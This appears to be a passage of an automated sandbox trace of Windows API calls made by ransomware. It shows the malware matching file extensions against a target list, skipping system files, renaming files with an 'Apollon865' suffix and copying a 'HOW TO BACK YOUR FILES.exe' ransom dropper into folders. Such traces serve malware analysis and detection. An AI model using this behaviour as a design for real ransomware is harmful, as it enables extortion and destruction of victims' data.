	[0062.268] lstrlenW (lpString="ddl") returned 3
	[0062.268] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0062.268] lstrlenW (lpString="dlis") returned 4
	[0062.268] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0062.268] lstrlenW (lpString="dp1") returned 3
	[0062.268] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0062.269] lstrlenW (lpString="dqy") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0062.269] lstrlenW (lpString="dsk") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0062.269] lstrlenW (lpString="dsn") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0062.269] lstrlenW (lpString="dtsx") returned 4
	[0062.269] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0062.269] lstrlenW (lpString="dxl") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0062.269] lstrlenW (lpString="eco") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0062.269] lstrlenW (lpString="ecx") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0062.269] lstrlenW (lpString="edb") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0062.269] lstrlenW (lpString="epim") returned 4
	[0062.269] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0062.269] lstrlenW (lpString="fcd") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0062.269] lstrlenW (lpString="fdb") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0062.269] lstrlenW (lpString="fic") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0062.269] lstrlenW (lpString="flexolibrary") returned 12
	[0062.269] lstrlenW (lpString="fm5") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0062.269] lstrlenW (lpString="fmp") returned 3
	[0062.269] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0062.269] lstrlenW (lpString="fmp12") returned 5
	[0062.269] lstrcmpiW (lpString1="0.jpg", lpString2="fmp12") returned -1
	[0062.269] lstrlenW (lpString="fmpsl") returned 5
	[0062.269] lstrcmpiW (lpString1="0.jpg", lpString2="fmpsl") returned -1
	[0062.270] lstrlenW (lpString="fol") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0062.270] lstrlenW (lpString="fp3") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0062.270] lstrlenW (lpString="fp4") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0062.270] lstrlenW (lpString="fp5") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0062.270] lstrlenW (lpString="fp7") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0062.270] lstrlenW (lpString="fpt") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0062.270] lstrlenW (lpString="frm") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0062.270] lstrlenW (lpString="gdb") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0062.270] lstrlenW (lpString="gdb") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0062.270] lstrlenW (lpString="grdb") returned 4
	[0062.270] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0062.270] lstrlenW (lpString="gwi") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0062.270] lstrlenW (lpString="hdb") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0062.270] lstrlenW (lpString="his") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0062.270] lstrlenW (lpString="ib") returned 2
	[0062.270] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0062.270] lstrlenW (lpString="idb") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0062.270] lstrlenW (lpString="ihx") returned 3
	[0062.270] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0062.270] lstrlenW (lpString="itdb") returned 4
	[0062.271] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0062.271] lstrlenW (lpString="itw") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0062.271] lstrlenW (lpString="jet") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0062.271] lstrlenW (lpString="jtx") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0062.271] lstrlenW (lpString="kdb") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0062.271] lstrlenW (lpString="kexi") returned 4
	[0062.271] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0062.271] lstrlenW (lpString="kexic") returned 5
	[0062.271] lstrcmpiW (lpString1="0.jpg", lpString2="kexic") returned -1
	[0062.271] lstrlenW (lpString="kexis") returned 5
	[0062.271] lstrcmpiW (lpString1="0.jpg", lpString2="kexis") returned -1
	[0062.271] lstrlenW (lpString="lgc") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0062.271] lstrlenW (lpString="lwx") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0062.271] lstrlenW (lpString="maf") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0062.271] lstrlenW (lpString="maq") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0062.271] lstrlenW (lpString="mar") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0062.271] lstrlenW (lpString="marshal") returned 7
	[0062.271] lstrcmpiW (lpString1="120.jpg", lpString2="marshal") returned -1
	[0062.271] lstrlenW (lpString="mas") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0062.271] lstrlenW (lpString="mav") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0062.271] lstrlenW (lpString="maw") returned 3
	[0062.271] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0062.271] lstrlenW (lpString="mdbhtml") returned 7
	[0062.271] lstrcmpiW (lpString1="120.jpg", lpString2="mdbhtml") returned -1
	[0062.272] lstrlenW (lpString="mdn") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0062.272] lstrlenW (lpString="mdt") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0062.272] lstrlenW (lpString="mfd") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0062.272] lstrlenW (lpString="mpd") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0062.272] lstrlenW (lpString="mrg") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0062.272] lstrlenW (lpString="mud") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0062.272] lstrlenW (lpString="mwb") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0062.272] lstrlenW (lpString="myd") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0062.272] lstrlenW (lpString="ndf") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0062.272] lstrlenW (lpString="nnt") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0062.272] lstrlenW (lpString="nrmlib") returned 6
	[0062.272] lstrcmpiW (lpString1="20.jpg", lpString2="nrmlib") returned -1
	[0062.272] lstrlenW (lpString="ns2") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0062.272] lstrlenW (lpString="ns3") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0062.272] lstrlenW (lpString="ns4") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0062.272] lstrlenW (lpString="nsf") returned 3
	[0062.272] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0062.272] lstrlenW (lpString="nv") returned 2
	[0062.272] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0062.272] lstrlenW (lpString="nv2") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0062.273] lstrlenW (lpString="nwdb") returned 4
	[0062.273] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0062.273] lstrlenW (lpString="nyf") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0062.273] lstrlenW (lpString="odb") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0062.273] lstrlenW (lpString="odb") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0062.273] lstrlenW (lpString="oqy") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0062.273] lstrlenW (lpString="ora") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0062.273] lstrlenW (lpString="orx") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0062.273] lstrlenW (lpString="owc") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0062.273] lstrlenW (lpString="p96") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0062.273] lstrlenW (lpString="p97") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0062.273] lstrlenW (lpString="pan") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0062.273] lstrlenW (lpString="pdb") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0062.273] lstrlenW (lpString="pdm") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0062.273] lstrlenW (lpString="pnz") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0062.273] lstrlenW (lpString="qry") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0062.273] lstrlenW (lpString="qvd") returned 3
	[0062.273] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0062.273] lstrlenW (lpString="rbf") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0062.274] lstrlenW (lpString="rctd") returned 4
	[0062.274] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0062.274] lstrlenW (lpString="rod") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0062.274] lstrlenW (lpString="rodx") returned 4
	[0062.274] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0062.274] lstrlenW (lpString="rpd") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0062.274] lstrlenW (lpString="rsd") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0062.274] lstrlenW (lpString="sas7bdat") returned 8
	[0062.274] lstrcmpiW (lpString1="_120.jpg", lpString2="sas7bdat") returned -1
	[0062.274] lstrlenW (lpString="sbf") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0062.274] lstrlenW (lpString="scx") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0062.274] lstrlenW (lpString="sdb") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0062.274] lstrlenW (lpString="sdc") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0062.274] lstrlenW (lpString="sdf") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0062.274] lstrlenW (lpString="sis") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0062.274] lstrlenW (lpString="spq") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0062.274] lstrlenW (lpString="te") returned 2
	[0062.274] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0062.274] lstrlenW (lpString="teacher") returned 7
	[0062.274] lstrcmpiW (lpString1="120.jpg", lpString2="teacher") returned -1
	[0062.274] lstrlenW (lpString="tmd") returned 3
	[0062.274] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0062.275] lstrlenW (lpString="tps") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0062.275] lstrlenW (lpString="trc") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0062.275] lstrlenW (lpString="trc") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0062.275] lstrlenW (lpString="trm") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0062.275] lstrlenW (lpString="udb") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0062.275] lstrlenW (lpString="udl") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0062.275] lstrlenW (lpString="usr") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0062.275] lstrlenW (lpString="v12") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0062.275] lstrlenW (lpString="vis") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0062.275] lstrlenW (lpString="vpd") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0062.275] lstrlenW (lpString="vvv") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0062.275] lstrlenW (lpString="wdb") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0062.275] lstrlenW (lpString="wmdb") returned 4
	[0062.275] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0062.275] lstrlenW (lpString="wrk") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0062.275] lstrlenW (lpString="xdb") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0062.275] lstrlenW (lpString="xld") returned 3
	[0062.275] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0062.275] lstrlenW (lpString="xmlff") returned 5
	[0062.275] lstrcmpiW (lpString1="0.jpg", lpString2="xmlff") returned -1
	[0062.275] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828ce928, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828ce928, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_120.png", cAlternateFileName="")) returned 1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="Apollon865.txt.exe") returned 1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2=".") returned 1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="..") returned 1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="windows") returned -1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="bootmgr") returned 1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="temp") returned -1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="pagefile.sys") returned -1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="boot") returned 1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="ids.txt") returned -1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="ntuser.dat") returned -1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="perflogs") returned -1
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2="MSBuild") returned -1
	[0062.276] lstrlenW (lpString="DMR_120.png") returned 11
	[0062.276] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 64
	[0062.276] lstrcmpiW (lpString1="MR_120.png", lpString2="Apollon865") returned 1
	[0062.276] lstrlenW (lpString=".dll") returned 4
	[0062.276] lstrcmpiW (lpString1="DMR_120.png", lpString2=".dll") returned 1
	[0062.276] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml.Apollon865") returned 84
	[0062.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml.Apollon865" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml.apollon865"), dwFlags=0x1) returned 0
	[0062.276] GetLastError () returned 0x5
	[0062.276] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml MoveFileEx error 5\r\n") returned 102
	[0062.277] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml MoveFileEx error 5\r\n") returned 102
	[0062.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0062.277] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ad0
	[0062.277] WriteFile (in: hFile=0x150, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x66, lpOverlapped=0x0) returned 1
	[0062.277] CloseHandle (hObject=0x150) returned 1
	[0062.277] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0062.277] CloseHandle (hObject=0x0) returned 0
	[0062.277] CloseHandle (hObject=0x0) returned 0
	[0062.277] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8291abe2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8291abe2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x8b2192a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x18db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RenderingControl.xml", cAlternateFileName="")) returned 0
	[0062.277] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.277] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0062.277] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Media Player\\Icons", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Media Player\\Icons") returned="C:\\Program Files\\Windows Media Player\\Icons"
	[0062.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5984c8 | out: hHeap=0x580000) returned 1
	[0062.277] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0062.277] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Icons") returned 43
	[0062.278] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\Icons" | out: lpString1="C:\\Program Files\\Windows Media Player\\Icons") returned="C:\\Program Files\\Windows Media Player\\Icons"
	[0062.278] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.278] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Icons\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\icons\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0062.278] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0062.278] GetLastError () returned 0x0
	[0062.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0062.279] ReadFile (in: hFile=0x118, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0062.279] CloseHandle (hObject=0x118) returned 1
	[0062.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0062.279] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.279] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.279] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.279] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.279] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.279] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.279] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.279] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.279] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.279] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.279] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0062.279] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.280] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bd0
	[0062.280] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Media Player\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Media Player\\en-US") returned="C:\\Program Files\\Windows Media Player\\en-US"
	[0062.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0062.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0062.280] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\en-US") returned 43
	[0062.280] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\en-US" | out: lpString1="C:\\Program Files\\Windows Media Player\\en-US") returned="C:\\Program Files\\Windows Media Player\\en-US"
	[0062.280] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.280] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.285] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d3264f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3264f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.285] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.285] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.285] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.285] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d3264f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d3264f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.285] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.285] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.285] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.285] lstrcmpiW (lpString1="..", lpString2="..") returned 0
